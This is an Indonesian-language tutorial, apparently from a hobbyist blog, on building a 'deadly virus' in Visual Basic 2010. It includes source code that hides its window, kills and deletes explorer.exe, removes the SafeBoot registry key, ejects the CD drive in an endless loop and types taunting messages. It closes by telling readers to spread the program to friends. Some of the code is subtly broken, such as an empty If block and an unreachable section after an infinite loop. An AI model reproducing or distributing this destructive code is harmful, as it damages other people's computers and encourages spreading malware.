Membuat Virus Mematikan Dengan Visual Basic 2010

mungkin anda pernah bertanya tanya bagaimana membuat virus ,nah kali ini saya akan mengajarkan kalian smua bagaimana membuat virus dengan Visual Basic tapi sebelum membuat Proyek ini Siapkan Deep Freze karena efeknya  agak mematikan bagi sahabat lab-vb sudah tidak sabar bisa langsung saja  ke turtorial Berikut ^^

1. Jalan kan VB 2010
2. Klik Window  Form Aplication
3. Kali ini tak usah kasih nama
4. atur Form1 di Properties Show in Taskbar Jadi False Form Border Style  jadi  None
5. Double Klik Form1 Dan masukan kode ini




Dim RunningProcess As System.Diagnostics.Process =
 Process.GetProcessesByName("explorer.exe")(0)
        RunningProcess.Kill()
        Dim FileToDelete As String
        FileToDelete = "C:\Windows\explorer.exe"
        If System.IO.File.Exists(FileToDelete) = True Then
        End If
        System.IO.File.Delete(FileToDelete)
        My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
        Dim Bumpbox As Process = New Process
        Dim top As String = "netsh.exe"
        Bumpbox.StartInfo.Arguments = ("Are You Crazy???")
        Bumpbox.StartInfo.CreateNoWindow = True
        Bumpbox.StartInfo.RedirectStandardOutput = True
        Bumpbox.StartInfo.FileName = top
        Bumpbox.StartInfo.UseShellExecute = False
        Bumpbox.Start()
        Bumpbox.WaitForExit()
        Do
            Dim oWMP = CreateObject("WMPlayer.OCX.7")
            Dim colCDROMs = oWMP.cdromCollection
            If colCDROMs.Count = 1 Then
                For i = 0 To colCDROMs.Count - 1
                    colCDROMs.Item(i).Eject()
                Next
            End If
        Loop
        Shell("Notepad")
        SendKeys.Send("You Try KiLL Mee")
        SendKeys.Send("You Mad ,Hey What Are You Doing?")
        SendKeys.Send("Your Computer Crash , Please Re install ")
        SendKeys.Send("{ENTER}")

    End Sub

6. INGAT !!!! Aktifkan Deep Freze Sebelum F5
7.kalo udah Stop Debugging n Save terus sebarin deh ke teman teman(Matiin Deep Freze Dulu Nanti ngk ke save)